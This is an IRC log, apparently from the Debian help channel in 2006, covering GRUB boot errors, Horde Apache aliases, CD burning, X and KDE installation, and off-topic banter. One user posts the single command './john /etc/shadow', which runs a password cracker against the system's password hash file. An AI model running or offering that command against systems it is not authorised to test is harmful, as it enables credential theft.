| 15:19.16 | raf256[laptop] | tulioanjos: best, try and see |
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| 15:19.25 | tulioanjos | grub > |
| 15:19.28 | tulioanjos | what i do now ? |
| 15:19.36 | tulioanjos | i dont know what grub is |
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| 15:19.57 | tulioanjos | o here for an excellent step-by-step description of setting up grub on your system: http://www.linuxjournal.com/article.php?sid=4622 |
| 15:20.03 | raf256[laptop] | tulioanjos: |
| 15:20.07 | drusscol | in enlightenment, how can I move an application from one desktop to another? |
| 15:20.10 | raf256[laptop] | tulioanjos: you talk too much. |
| 15:20.19 | raf256[laptop] | tulioanjos: think more, talk less. or no help from us. |
| 15:20.25 | tulioanjos | i'm a kid |
| 15:20.30 | tulioanjos | take it easy |
| 15:20.53 | raf256[laptop] | if you can't talk less, meany people will ignore you, your choice |
| 15:21.11 | tulioanjos | lol |
| 15:21.21 | tulioanjos | ok just tell me what commands i need to type |
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| 15:21.42 | cheloo | hi all |
| 15:21.48 | cheloo | anyone installed horde in debian ? |
| 15:21.56 | abrotman | yes |
| 15:22.00 | stew | cheloo: lots of people |
| 15:22.05 | abrotman | wait .. not sure if i used the packages |
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| 15:22.32 | cheloo | nice , how will i enable the location of horde " /usr/share/horde3 " in my apache server ? |
| 15:22.45 | raf256[laptop] | horde? |
| 15:22.49 | abrotman | Alias /horde "/usr/share/horde" ? |
| 15:22.52 | cheloo | raf256[laptop] yes |
| 15:22.54 | EdLin | drusscol: in the display of the multiple desktops, click and drag on the miniature picture of the app you want to move and drag it to the appropriate desktop |
| 15:22.57 | raf256[laptop] | whats that |
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| 15:23.06 | abrotman | raf256[laptop]: webmail |
| 15:23.06 | cheloo | abrotman try that already |
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| 15:23.09 | streuner | cheloo: try ilohamail |
| 15:23.21 | abrotman | try hula! |
| 15:23.27 | raf256[laptop] | I was thinking of realasing my closed commercial application for linux/debian |
| 15:23.32 | streuner | !info ilohamail |
| 15:23.35 | raf256[laptop] | any comments/tips/ideas |
| 15:23.35 | abrotman | cheloo: do the docs in /usr/share/doc/horde/ say anything ? |
| 15:23.40 | tulioanjos | grub> kernel /vmlinuz root=/dev/sda2 ro vga=791 |
| 15:23.40 | tulioanjos | grub> boot |
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| 15:23.49 | cheloo | abrotman there is no install doc |
| 15:24.03 | stew | abrotman: they are horrible, and not at all debian specific, the README.Debian isn't even at all relevant to debian |
| 15:24.07 | cheloo | !info ilohamail |
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| 15:24.17 | abrotman | stew: ah ok |
| 15:24.21 | stew | abrotman: it's somewhere kinda far down on my todo list to write a better README.Debian |
| 15:24.28 | useruser_ | anyone know how to solve the problem where you can burn dvds but not cds? |
| 15:24.29 | Kernel_core | hi all |
| 15:24.32 | Kernel_core | where do I get DAMEN libopenh323-1.18.0 !?!?! |
| 15:24.34 | streuner | cheloo: www.ilohamail.org |
| 15:24.48 | [6502] | help... probably this is a stupid question, but how do I ask to aptitude to forget all selections I made ? |
| 15:24.48 | tarzeau | !popcon |
| 15:24.48 | dpkg | well, popcon is the Debian Popularity contest. See results at http://popcon.debian.org/ or install popularity-contest to participate. do the dpkg-reconfigure -plow popularity-contest right after you answered all debconf stuff |
| 15:24.50 | stew | useruser_: what have you tried? |
| 15:24.59 | lilo | channel staffer around? |
| 15:25.03 | useruser_ | stew: cdrecord ad nauseam |
| 15:25.08 | asg | lilo: not recently |
| 15:25.13 | useruser_ | stew: but whatever k3b uses for dvds works well |
| 15:25.17 | tulioanjos | partition type 0x82 is swap, right ? |
| 15:25.18 | [6502] | my screen is full of magenta lines saying "broken here, broken there... press "g" and you'll die" |
| 15:25.29 | BearPerson | lilo, I think not |
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| 15:25.30 | asg | !comfort finntroll |
| 15:25.30 | dpkg | There, there, finntroll. It's OK. I'm here for you. |
| 15:25.34 | stew | useruser_: what does "uname -r" say, and what is a cdrecord command line that you think should work but doesn't |
| 15:25.40 | cheloo | streuner i think horde its better |
| 15:25.42 | stew | useruser_: and what is the error you get? |
| 15:25.45 | tulioanjos | !tell tulioanjos about partition type 0x82 |
| 15:25.52 | stew | tulioanjos: /msg the bot |
| 15:25.58 | raf256[laptop] | [6502]: quit the program |
| 15:26.08 | lilo | BearPerson: that's a shame, they might want to set their +J to a more realistic level |
| 15:26.17 | streuner | cheloo: interesting :-) for someone who didn't even run ilohamail or horde... |
| 15:26.18 | [6502] | raf: i did... and if i re-enter it it remembers the selection :-( |
| 15:26.32 | EdLin | !nickometer [6502] |
| 15:26.32 | abrotman | again? |
| 15:26.34 | dpkg | '[6502]' is 43.000% lame, edlin |
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| 15:26.53 | die-Sel | anyone know why debain wont regonise my cd drives? it wont regonise the 2 i ahve and they are set up corrently. |
| 15:27.00 | [6502] | my nick should be "6502"... but irc is limited |
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| 15:27.07 | [6502] | not my fault |
| 15:27.07 | cheloo | streuner did i said i never run horde ? i never run it in debian , but i know horde well |
| 15:27.17 | useruser_ | stew: http://pastebin.com/573279 |
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| 15:27.31 | netman1 | Hi All. Who's got a good tip on how to test for a file's age from a shell script? |
| 15:27.43 | tulioanjos | VFS: Cannot open root device "sda1" or 08:01; Please append a correct "root=" boot option; Kernel panic: VFS: Unable to mount root fs on 08:01 |
| 15:27.45 | useruser_ | stew: uname -r gives 2.6.12-1-686 |
| 15:28.19 | EdLin | [6502]: the Apple II used an MOS-tek 6502 |
| 15:28.24 | stew | useruser_: is the drive scsi or ide? |
| 15:28.24 | useruser_ | stew: this is over a usb 1.0 connection |
| 15:28.26 | gnufan | netman1: I think bash only allows older than type comparisons, otherwise you need some extras to get the date in Epoch -- I think there is a packaged util in Debian |
| 15:28.27 | die-Sel | anyone know why debain wont regonise my cd drives? it wont regonise the 2 i ahve and they are set up corrently. |
| 15:28.29 | die-Sel | ???? |
| 15:28.33 | Covener | netman1: stat -c |
| 15:28.42 | [6502] | edlin: my nick comes exactly from Apple ][ :-) |
| 15:28.42 | useruser_ | stew: ide, but as i say it's going over usb, so it's attached as /dev/sg0 |
| 15:28.44 | streuner | cheloo: ilohamail is easy way to realize webmail |
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| 15:29.03 | stew | useruser_: oh, hmm, i'm not sure then |
| 15:29.08 | netman1 | gnufan, Covener: thanks for the leads. |
| 15:29.29 | cheloo | streuner yeah , but i didnt ask for a webmail client , i asked how will i enable horde in apache server |
| 15:29.37 | tulioanjos | now i tried grub> kernel (hd0,1)/vmlinuz |
| 15:29.41 | tulioanjos | and got the same error |
| 15:29.45 | streuner | cheloo: ok |
| 15:30.10 | cheloo | streuner thanks for you help anyway :) tshuss |
| 15:30.24 | cheloo | tschuss * |
| 15:30.28 | asg | tulioanjos: #grub can walk you through it |
| 15:30.32 | streuner | Tschüss |
| 15:30.47 | tulioanjos | asg: ok |
| 15:30.58 | stew | cheloo: did you try Alias /horde /usr/share/horde3 ? |
| 15:31.17 | useruser_ | what does k3b use to burn dvds in debian? |
| 15:31.17 | streuner | cheloo: germans use 'umlauts' - which is sometimes a PITA |
| 15:31.26 | Covener | useruser_: growisofs |
| 15:31.35 | cheloo | stew i did and then tryed to browser to localhost.com/horde3 ... which doesnt exist |
| 15:31.35 | useruser_ | Covener: can it burn cds too? |
| 15:31.53 | cheloo | streuner i know |
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| 15:32.49 | [6502] | edlin: i even wrote an apple ][ emulator, but for watcom compiler and it doesn't run with wine |
| 15:32.49 | stew | cheloo: localhost.com? not localhost? did you mean localhost/horde3 or localhost/horde? did you acutally alias /horde3 or /horde? |
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| 15:33.26 | linoleum | hi guys, what the command with aptitude to purge all kde |
| 15:33.26 | gnufan | unstable --- "apt-get update" is getting me a "unknown error executing gpgv".... not now I don't need it. I assume others tracking unstable have this as well?! |
| 15:33.28 | [6502] | help... does anyone know how to get aptitude to forget selections ? |
| 15:33.37 | cheloo | stew well i mean localhost/horde3 ; alias /horde3 |
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| 15:34.04 | useruser_ | Covener: hm, the manpage didn't help. do you know if it's possible to burn a cd with mkisofs? cdrecord fails for me |
| 15:34.06 | stew | cheloo: read the apache error logs which would tell you where it thinks the /horde3 url should be on the local filesystem |
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| 15:34.27 | Covener | useruser_: mkisofs only creates a filesystem. I don't know of someone using growisofs to write a CD. |
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| 15:34.34 | stew | useruser_: mkisofs won't burn, you can pipe the output of mkisofs into cdrecord to burn |
| 15:34.44 | raf256[laptop] | [6502]: dpkg. use synapti its even more easy |
| 15:34.45 | useruser_ | Covener: yes, typo. i meant growisofs |
| 15:34.48 | Covener | cheloo: DirectoryIndex? |
| 15:35.25 | useruser_ | bloody confusing names anyway :{ |
| 15:35.25 | cheloo | stew and Covener thats how i add the horde alias http://pastebin.com/573292 |
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| 15:35.26 | die-Sel | anyone know why debain wont regonise my cd drives? it wont regonise the 2 i ahve and they are set up corrently. |
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| 15:36.03 | cheloo | stew in /etc/apache2/sites-enabled/000-default/ |
| 15:36.15 | cheloo | <PROTECTED> |
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| 15:36.31 | useruser_ | stew: in fact, my syptoms look identical to this: https://launchpad.net/distros/ubuntu/+source/k3b/+bug/28207 |
| 15:36.39 | Covener | cheloo: DirectoryIndex mesh with what's actually in /usr/share/horde3/ ? |
| 15:36.43 | die-Sel | ANYONE? |
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| 15:37.05 | stew | cheloo: what goes into the error log when you try to hit /horde3? |
| 15:37.06 | Covener | cheloo: (e.g. will mod_dir search for index.php) |
| 15:37.23 | kimo__ | guys, to access remote smtp, is this correct? iptables -A OUTPUT -o eth1 -p tcp --sport 25 -d any/0 -j ACCEPT |
| 15:37.26 | gnufan | Ah I think it is a local clock problem causing the pgpv error |
| 15:37.33 | stew | die-Sel: what does "uname -r" say? what command are you using? what error are you getting? |
| 15:37.34 | kimo__ | or --dport |
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| 15:38.45 | die-Sel | I am trying to install debian, but as the cd starts its loads somestuff then stops at a blue screen for a few mins and then gives me: You installation CD-ROM couldn't be mounted |
| 15:38.50 | stew | kimo__: if you are talking about outgoing traffic hitting a remote smtp it should be --dport |
| 15:38.52 | die-Sel | Try Again Yes or No |
| 15:39.06 | sphenxes | die-Sel, yes |
| 15:39.08 | kimo__ | stew: thnx :) |
| 15:39.08 | tulioanjos | no one support me |
| 15:39.10 | tulioanjos | i gone to format again |
| 15:39.24 | stew | die-Sel: sounds like the cd is bad |
| 15:39.29 | abrotman | maybe because you do bad stuff in the channel? |
| 15:39.31 | die-Sel | i hae done YES 4times and got the same reslut, i have also tryed a different cd rom with no luck |
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| 15:39.44 | die-Sel | i got the ISO from the ireland mirror |
| 15:39.44 | [6502] | wow... aptitude has a minesweeper option |
| 15:39.50 | gnufan | die-Sel: Did you try 2.6 (linux26 at the boot prompt?)... what sort of CD drive |
| 15:39.54 | AintNoShit | die-Sel, try typing linux26 at boot |
| 15:40.00 | cheloo | stew The requested URL /horde3 was not found on this server. |
| 15:40.03 | stew | die-Sel: when you say different cdrom do you mean different burn of the same iso? |
| 15:40.10 | sphenxes | die-Sel, i have had the same problem, I get the cds out and wiped them with a piece of cloth, it worked latter |
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| 15:40.47 | cheloo | stew error is [Sun Feb 26 15:39:17 2006] [error] [client 127.0.0.1] File does not exist: /var/www/horde3 |
| 15:40.48 | die-Sel | i mean different cd rom drive, i have 2 one is dvd ready and one is dvd burner |
| 15:41.11 | stew | cheloo: no, the error from the error log should tell you what file on the filesystem it was looking for, like "File does not exist: /usr/share/horde3/foo" |
| 15:41.16 | sm00f | is there a package that includes a webmail interface |
| 15:41.16 | Quibus | bye! (kernel panic stuff: please refer to bug 354458, I'd like to see if more people got hit by it) |
| 15:41.17 | Covener | cheloo: add a slash, check DirectoryIndex vs. contents of your ALias'ed directory |
| 15:41.26 | stew | cheloo: right, then you haven't yet set up the alias correctly. have you restarted apache? |
| 15:41.37 | cheloo | stew i did yes |
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| 15:41.53 | stew | cheloo: or you set it up on the wrong virtual host. or you also set one up to /var/www/ |
| 15:42.05 | die-Sel | linux26 is working, its not scanning /cdrom/pool |
| 15:42.09 | tulioanjos | ./john /etc/shadow |
| 15:42.17 | die-Sel | now* |
| 15:42.23 | die-Sel | ops sorry typo |
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| 15:42.26 | cheloo | stew & Covener thsi is my config file . the alias is right down the bottom http://pastebin.com/573306 |
| 15:42.27 | stew | cheloo: oh right, you aliased /horde3/ but you were surfing to /horde3 |
| 15:42.36 | cheloo | stew yes |
| 15:42.47 | httpdss | im trying to get the rt2500 module on woody, downloaded from cvs, compiled module with 2.4.27 headers, loaded module, and i can configure everything, but when doing iwlist scan nothing is displayed. any help ? |
| 15:42.47 | stew | cheloo: what happnes when you try http://localhost/horde3/ |
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| 15:43.13 | stew | cheloo: you probably want alias /horde3 /usr/share/horde3 not alias /horde3/ /usr/share/horde3/ |
| 15:43.53 | abrotman | either should work |
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| 15:44.03 | cheloo | stew ok i will try that |
| 15:44.07 | abrotman | oh wait .. the second won't match just /horde3 |
| 15:44.24 | stew | abrotman: an alias to /horde3/ wouldn't match /horde3 |
| 15:44.32 | stew | ^to^from ? |
| 15:44.41 | httpdss | Posting again cuz i dont know if it got there (sudenlly disconnected) ===> im trying to get the rt2500 module on woody, downloaded from cvs, compiled module with 2.4.27 headers, loaded module, and i can configure everything, but when doing iwlist scan nothing is displayed. any help ? |
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| 15:44.48 | Covener | cheloo: have you checked the contents of that directory vs. your setting for DirectoryMatch yet? Have you tried explicitly asking for index.php or somesuch? |
| 15:44.51 | abrotman | stew: i think i did that this week .. happened to me . i'd have to double check though |
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| 15:45.04 | nvz | does anyone know, these dvd players that view images.. can I just throw images on a data disc or is there like a special index or something |
| 15:45.07 | darkcmd | anyone know anything about pc building? |
| 15:45.08 | raf256[laptop] | how to publish my comercial program as a .deb? |
| 15:45.08 | [6502] | to switch from xfre86/nv binary driver to xorg should i remove kde first ? |
| 15:45.10 | Covener | cheloo: s/DirectoryMatch/DirectoryIndex |
| 15:45.20 | raf256[laptop] | [6502]: no |
| 15:45.26 | cheloo | Covener localhost/phpsysinfo/ works fine |
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| 15:45.41 | Covener | cheloo: and what does that mean? |
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| 15:46.08 | kspath | tulioanjos: Did you miss a dose of your medication? |
| 15:46.13 | nvz | the mp3 thing just kind of works so i figure its the same with other files *shrug* |
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| 15:46.48 | raf256[laptop] | l |
| 15:46.58 | raf256[laptop] | whoops wrong windw, dsregard that |
| 15:46.59 | [6502] | raf256: i got aptitude back to the clean state (manually undoing everything); but if i select xorg server it complains it's a conflict (no surprise indeed) |
| 15:46.59 | cheloo | Covener http://localhost/phpsysinfo works fine . so it means php works in my server .. the only problem is with the alias which i might make it wrong |
| 15:47.12 | raf256[laptop] | [6502]: I duno |
| 15:47.15 | raf256[laptop] | dunno |
| 15:47.25 | Covener | cheloo: Great you have a php interpreter, DirectoryIndex may stop you from findign a php file to interpret. |
| 15:48.19 | stew | the probably can't possibly be directoryindex /php interpreter if the error logs say that the server is looking for content in the totally wrong place on the filesystem |
| 15:48.23 | [6502] | raf256: oh nooooooooooo.... i followed your advice and started the reinstallation... now everything is messed up.... and now you say "wrong window" ??? |
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| 15:48.49 | [6502] | raf256: :-) |
| 15:49.03 | raf256[laptop] | ;) |
| 15:49.04 | tulioanjos | i formated my HD |
| 15:49.05 | tulioanjos | anyway |
| 15:49.07 | tulioanjos | thanks for the help |
| 15:49.20 | cheloo | i will try with Alias /horde3 /usr/share/horde3 without ( "" ) |
| 15:49.30 | raf256[laptop] | how to create a RAM disc, after booting> |
| 15:49.39 | abrotman | cheloo: you'll need /usr/share/horde3/ |
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| 15:50.17 | viNs__ | whats in the iso 2 dvd of debian sarge ? |
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| 15:50.36 | nvz | viNs__: d/l the jigdo template and see |
| 15:50.44 | streuner | viNs__: 14 CD's? |
| 15:50.47 | viNs__ | man its big 2 4 gigs isos |
| 15:50.59 | Tentative | streuner: I use 2 dvd |
| 15:51.00 | Tentative | ;) |
| 15:51.08 | viNs__ | i am downlaoding http/dvd/iso |
| 15:51.11 | streuner | dpkg, listkeys contents |
| 15:51.13 | dpkg | Factoid search of 'contents' by key (3): _default cd contents ;; #debian cd contents ;; cd contents. |
| 15:51.19 | viNs__ | ok |
| 15:51.22 | streuner | !cd contents |
| 15:51.22 | dpkg | To find out what is on what cd, download the .jigdo template, and zless fooimage.jigdo. In the [Parts] section you will see the list of packages that are contained in the cd. searchable index of the sarge cds: http://vireo.org/~stew/jigdo If that one is down, use this listing of sarge packages ordered by CD: http://haydn.debian.org/~ftlerror-guest/list.txt |
| 15:51.29 | viNs__ | is the first one enough |
| 15:51.36 | streuner | !d-i |
| 15:51.36 | dpkg | For stable/sarge: http://www.debian.org/releases/sarge/debian-installer/ and the development page for the installer(ISOs for etch/testing) is http://www.debian.org/devel/debian-installer/ |
| 15:51.42 | Tentative | viNs__: not for the softwares I need |
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| 15:53.01 | tsinik | hello everybody! |
| 15:53.07 | raf256[laptop] | there is the message - can not login, system boot in progress |
| 15:53.14 | raf256[laptop] | how to get rid of it? |
| 15:53.29 | raf256[laptop] | if I want my computer to accept logging in even bore rc. is doen |
| 15:53.54 | nvz | raf256[laptop]: that message and the lock is put in effect by /etc/init.d/bootmisc.sh If I recall correctly |
| 15:54.10 | darkcmd | why don't you wait till the box has booted up completely to login? |
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| 15:54.35 | viNs__ | thank you |
| 15:54.36 | SaLoMoN | ton |
| 15:54.59 | cheloo | abrotman so Alias /horde3 /usr/share/horde3/ its right ? |
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| 15:55.20 | abrotman | i believe so |
| 15:55.21 | raf256[laptop] | nvz: thanx, and what removes it? |
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| 15:55.30 | tsinik | i want to install perl 5.8.7 apache 1.3.34 mysql 4.1.14 and php 4.4.1 on sarge. Are there packages for those or i have to compile them? |
| 15:55.33 | raf256[laptop] | darkcmd: I dont like waiting |
| 15:55.49 | Daemon- | help please, i had windows xp installed and debian sarge 3.1 wih GRUB boot loader, i went to format the windows xp installation to put on windows 2003 server and the GRUB boot loader isnt coming up, have i lost my linux instalation? |
| 15:55.55 | darkcmd | heh |
| 15:55.55 | nvz | raf256[laptop]: read that script I am sure its all in there somewhere |
| 15:56.01 | raf256[laptop] | ok |
| 15:56.07 | nvz | raf256[laptop]: its just misc boot tasks that happen right before login |
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| 15:56.19 | nvz | raf256[laptop]: storing dmesg.log and stuff like hat |
| 15:56.29 | stew | cheloo: Alias /horde3 /usr/share/horde3/ and Alias /horde3 /usr/share/horde3 should be equiv. the first, however, would cause horde3/index.php to be rewritten to usr/share/hord3//index.php (which isn't really a big deal) |
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| 15:58.32 | die-Sel | now that debian is installed, i am left with a termial screen, how do i get into the GUI of kde? |
| 15:58.33 | stew | Daemon-: /msg dpkg fixmbr |
| 15:58.39 | die-Sel | or even gnome |
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| 15:58.54 | stew | die-Sel: "apt-get install kde x-window-system-core" |
| 15:59.00 | nvz | die-Sel: did you select desktop system in tasksel? |
| 15:59.02 | stew | die-Sel: or add / substitude gnome |
| 15:59.17 | Daemon- | stew - thanks buddy |
| 15:59.48 | die-Sel | duening the install it asked wat packages i wanted install, i took Desktop Enviroment |
| 15:59.54 | die-Sel | was the only one for now. |
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| 16:00.14 | stew | die-Sel: try typing "startx" |
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| 16:00.25 | nvz | die-Sel: that pulls in all of the KDE and GNOME pacakges.. and the display manager should have started for you already. try /etc/init.d/gdm restart |
| 16:00.34 | die-Sel | command not found for startx |
| 16:00.42 | tsinik | i want to install perl 5.8.7 apache 1.3.34 mysql 4.1.14 and php 4.4.1 on sarge. Are there packages for those or i have to compile them? |
| 16:00.43 | streuner | xbase-clients |
| 16:00.44 | nvz | perhaps you misconfigured X or didnt get installed all the way |
| 16:00.46 | stew | nvz: i thought it was just gnome |
| 16:01.02 | nvz | stew: no it brings in everything including the kitchensync |
| 16:01.16 | nvz | udev, hal.. the whole 9 |
| 16:01.35 | stew | nvz: i knew about those becuase gnome brings them in, just didn't know it also brought kde in |
| 16:01.44 | nvz | you have to netinstall or have like 5 cds at least to get udev and hal and all that |
| 16:01.47 | YogSothoth | What command should I issue to replace the line "datadir=" by the line "datadir=/etc/init.d/mysql.server" in /etc/init.d/mysql.server |
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| 16:02.02 | thingfish | no you don't |
| 16:02.10 | nvz | last few installs I done gnome was broke |
| 16:02.12 | stew | tsinik: replacing perl on stable is dangerous becuase it can break th e package management system, is there a reason you need 5.8.7 over 5.8.4? |
| 16:02.17 | thingfish | gnome and kde both use only the first two cd's, if chosen via tasksel. |
| 16:02.36 | nvz | panel applets die every time they are started from gnome-session but fine on a restart of applets or starting them manually |
| 16:02.36 | die-Sel | am lost now i dont think KDE is installed at all |
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| 16:03.05 | stew | die-Sel: "apt-get install kde gnome x-window-system-core" |
| 16:03.09 | tsinik | stew: i just want to emulate my isp's enviroment for testing purposes |
| 16:03.18 | nvz | thingfish: if you only supplied the first two as sources.. if you choose desktop system and have the cds, it will pull up to ISO 5 because hal and stuff is on 5 |
| 16:03.34 | nvz | it cant add things that arent in the cache if you only have 2 discs |
| 16:03.52 | raf256[laptop] | how do I release my commercial program as .deb? |
| 16:03.56 | thingfish | nvz: funny that in all my installs, it's never done that. |
| 16:04.03 | raf256[laptop] | it have own .so objects (or needs wxwidgets and openssl) |
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| 16:04.40 | die-Sel | stew, its say package kde is not available |
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| 16:04.51 | die-Sel | but is referred to by another package |
| 16:05.00 | thingfish | with sarge, I choose Desktop Environment, Print Server, and File Server, and it doesn't use any more than the first two cds. maybe you're pulling in recommends as well. |
| 16:05.12 | nvz | thingfish: I've only done one cd install of sarge, I am about to do another soon. the last one of 3.1r0 took 5cds and I had to even fetch somethings I wanted to put on there manually.. like that fillets-ng package was not on the first 5.. |
| 16:05.14 | die-Sel | E: Package kde has no installation candidate |
| 16:05.27 | nvz | and of course lame and stuff that is on marillat |
| 16:06.54 | raf256[laptop] | omfg |
| 16:06.59 | tsinik | exit |
| 16:07.16 | raf256[laptop] | noone can tell me how to distribute my app as .deb? |
| 16:07.36 | nvz | its not on topic here and there is nobody who knows or cares |
| 16:07.54 | nvz | check the developer section of the website, and look at a commercial deb |
| 16:08.07 | darkcmd | nvz, do you know much about pc building |
| 16:08.07 | gnufan | nfs userspace or kernel space server ? |
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| 16:08.20 | die-Sel | stew: "apt-get install kde gnome x-window-system-core" < doesnt work. any ideas? |
| 16:08.23 | nvz | darkcmd: what is there to know |
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| 16:08.36 | nvz | darkcmd: the stuff only goes one way :P |
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| 16:08.47 | mox | die-sel: what do you want to install? |
| 16:08.54 | darkcmd | http://www.in-win.us/products/pc_case/V-Series/V564T_open_m%5B1%5D.jpg I want to make it so there are more 3.5 in bays for more hard drives in that case... do you know what I need to get? |
| 16:08.58 | EdLin | !any ideas? |
| 16:08.58 | dpkg | Yeah, I have an idea! But I'll need a box full of condoms, a little cod liver oil, and 5 or 6 rabid weasels. And keep the Cabal off my back for the next few minutes! |
| 16:09.03 | die-Sel | kde or even gnome desktop nviroments |
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| 16:09.14 | mox | die-sel: try apt-get install gnome-desktop-enviroment gdm |
| 16:09.23 | nvz | darkcmd: I just stack em on cd cases or some shit.. heh hell If I know.. |
| 16:09.29 | thingfish | you can get spacers that change a 5" to a 3.5". |
| 16:09.34 | EdLin | !tell die-Sel -about install kde |
| 16:09.38 | nvz | yeah I have a few of those |
| 16:09.45 | darkcmd | thingfish, I need more actual bays for the drives |
| 16:09.57 | darkcmd | like a little thing that screws onto the existing drive bays, and extends them |
| 16:10.03 | darkcmd | so there are more slots for drives |
| 16:10.20 | nvz | its called a tiger saw and self tapping screws |
| 16:10.26 | nvz | go find another case |
| 16:10.32 | thingfish | oh like an extra cage down below the main one, darkcmd? |
| 16:10.37 | darkcmd | thingfish, yes |
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| 16:10.49 | blondie | you can get such things, but you're likely to get cooling problems, darkcmd |
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| 16:10.59 | darkcmd | where do I get them |
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| 16:11.22 | nvz | cooling problems.. heh I just let the breeze flow through my computer.. no cooling problems |
| 16:11.31 | blondie | on the internets c.c |
| 16:11.36 | thingfish | yes, what blondie said, darkcmd - you really are better off with a new case designed to hold lots of hard drives. |
| 16:11.37 | resiak | internets! |
| 16:12.11 | thingfish | hehe I have no cooling problems either, as my computer's case is wide open. |
| 16:12.14 | die-Sel | if i do apt-het install kdebase, then wen its finished, so startx, kde shud boot into the GUI? |
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| 16:12.24 | nvz | I have no choice I only have part of a case |
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| 16:12.33 | thingfish | of course, though, the drawback is I have to clean off the cpu heatsink more often. |
| 16:12.34 | darkcmd | thingfish, there are places for fans next to the bays |
| 16:12.59 | blondie | or get a power drill and some spare PCI card slot covers |
| 16:13.11 | nvz | na I figure if there are too many dust bunnies on there heating things up, they'll burn off :P |
| 16:13.31 | EdLin | die-Sel: you might want to try "apt-get" rather than "apt-het" |
| 16:13.56 | die-Sel | oh that was a typo EdLin lol |
| 16:13.56 | EdLin | die-Sel: if kdebase doesn't pull in enough of X, try adding x-window-system-core |
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| 16:14.03 | die-Sel | thk |
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| 16:14.34 | EdLin | !aolify die-Sel |
| 16:14.35 | nvz | this gets me thinking.. make everything in the house stainless steel.. then you can dust with a blow torch |
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| 16:15.22 | dadexter | scary thought |
| 16:15.24 | nvz | heh |
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| 16:15.34 | nvz | that should scare you that I think at all |
| 16:15.42 | die-Sel | lol |
| 16:15.47 | dadexter | "huney, wanna dust off the house?" |
| 16:15.54 | dadexter | "Oh yaaaaaaaaaaaaaaaaaaaaaaaaaa" |
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| 16:16.13 | thingfish | if you have the money for an all stainless kitchen, you can afford to have a maid come in and clean it all for you. ;) |
| 16:16.38 | nvz | if you could use a flamethrower to clean the kitchen I think you wouldnt mind doing it yourself |
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| 16:17.06 | EdLin | thingfish: not neccesarily, he could have stolen it, then it would be a stainless steal |
| 16:17.23 | thingfish | heh |
| 16:17.25 | nvz | your friends can have their bonfire parties.. I light my fucking kitchen on fire |
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| 16:18.14 | abrotman | thingfish: no .. because they'll you'll sleep with the maid and your wife will take 1/2 your money .. and the kitchen |
| 16:18.20 | nvz | never have to pay a company for anti bacterial cleaners again |
| 16:18.26 | abrotman | duh |
| 16:18.28 | thingfish | hehe |
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| 16:18.50 | dadexter | abrotman, get a male maid... then you can end up kicking the 2 of them out |
| 16:18.54 | nvz | what your product is only 99.9% effective? |
| 16:18.59 | nvz | mine is 100% |
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| 16:19.34 | abrotman | dadexter: hehe |
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| 16:19.37 | lkthomas | hey all |
| 16:19.45 | lkthomas | /usr/local/bin/curl -d /usr/hkbn/cookie.txt "http://'$(</usr/hkbn/host.txt)'/cgi |
| 16:19.45 | lkthomas | -bin/AddName1?userid=nonapplet" |
| 16:19.54 | lkthomas | anyone could debug this bash statement ? |
| 16:20.04 | lkthomas | I got Illegal variable name |
| 16:20.05 | daft | lkthomas try #bash |
| 16:20.11 | lkthomas | daft: no reply there |
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| 16:20.20 | nvz | lkthomas: indeed |
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| 16:20.33 | lkthomas | nvz: what do you think ? |
| 16:20.40 | dadexter | don't ask |
| 16:20.42 | die-Sel | i did apt-get install kdebase, then startkde , now i am getting "kpersonalizer: cannot connect to X Server |
| 16:20.48 | die-Sel | any ideas wats up? |
| 16:20.49 | nvz | lkthomas: I think the '$(</usr/hkbn/host.txt)' looks shifty |
| 16:20.52 | dadexter | he's thinking about setting his kitchen on fire |
| 16:21.14 | dadexter | die-Sel, tried putting startkde in your ~/.xinitrc? |
| 16:21.16 | lkthomas | nvz: I try different way to input, still got the same thing |
| 16:21.30 | nvz | lkthomas: try $('cat /usr/hkbn/host.txt') |
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| 16:21.59 | die-Sel | dont know how to do that dadexter |
| 16:22.23 | dadexter | echo "exec startkde" > ~/,xinitrc |
| 16:22.32 | dadexter | then use startx |
| 16:22.40 | fontpimp | topic |
| 16:22.42 | tcurtis | What's the difference between this channel and the one on OFTC? |
| 16:22.44 | fontpimp | err |
| 16:22.47 | nvz | lkthomas: there seems to me to be no reason to ever quote $() unless you want it to be literal not interpreted |
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| 16:23.09 | dadexter | tcurtis, what's OFTC? |
| 16:23.19 | crypt_ex | My computer keeps crashing, if I leave it and let the screen saver kick in, I get this error message repeated on the screen and not able to use it (need to physically reboot it). The error is r300_check_render: fallback:ctx->Point.SmoothFlag.... Does anyone have a clue what this is? I am on Testing by the way |
| 16:23.21 | lkthomas | nvz: I want it input from a file rather than a static statement |
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| 16:23.30 | tcurtis | dadexter, the OFTC irc servers. there's a #debian there too. |
| 16:23.35 | dadexter | ah |
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| 16:24.16 | die-Sel | still nothing dadexter : No such file or directory xinit: Server error |
| 16:24.29 | nvz | lkthomas: not sure I would just get my damn data sterile before passing it in a command in my scripting habbits |
| 16:24.30 | dadexter | die-Sel, your x server is not installed |
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| 16:24.49 | die-Sel | so apt-get install xserver? |
| 16:24.51 | abrotman | crypt_ex: if you turn off DPMS does it happen? |
| 16:24.54 | nvz | lkthomas: I would already have pulled the data from that file to a variable before passing it in a command |
| 16:24.56 | dadexter | die-Sel, hummmm |
| 16:25.05 | nvz | makes it too hard to change or troubleshoot like that |
| 16:25.12 | crypt_ex | abrotman, whats DPMS? |
| 16:25.29 | EdLin | die-Sel: apt-get install x-window-system-core, not the server alone, you need both the server and the client |
| 16:25.30 | dadexter | die-Sel, xserver-xorg |
| 16:25.41 | dadexter | oh ya... what he said |
| 16:26.00 | crypt_ex | abrotman, ah power saving...will have a look in Gnomes settings |
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| 16:26.07 | nvz | crypt_ex: Dirty People May Smell |
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| 16:26.14 | crypt_ex | lol ;) |
| 16:26.21 | die-Sel | he he its install now, hope it works |
| 16:26.32 | lkthomas | nvz: I got this : Illegal variable name. |
| 16:26.42 | die-Sel | once x-window-system-core is in, its shud just be a matter of startx and then startkde |
| 16:26.49 | dadexter | die-Sel, ya |
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| 16:27.01 | abrotman | !tell crypt_ex about dpms |
| 16:27.02 | nvz | lkthomas: from what? bash? |
| 16:27.12 | EdLin | someone needs to make a "shud" factoid |
| 16:27.14 | lkthomas | nvz: yes |
| 16:27.31 | nvz | lkthomas: I dont know what you are doing. there is no variable name that I can see. |
| 16:27.32 | dadexter | huh? |
| 16:28.01 | lkthomas | nvz: how could I cat the file before curl is running ? |
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| 16:28.35 | nvz | lkthomas: what the hell are you trying to do? |
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| 16:28.57 | johabba | would there be a chkrootkit expert or frequent user lurking about? |
| 16:29.02 | lkthomas | nvz: domain name are variable from time to time |
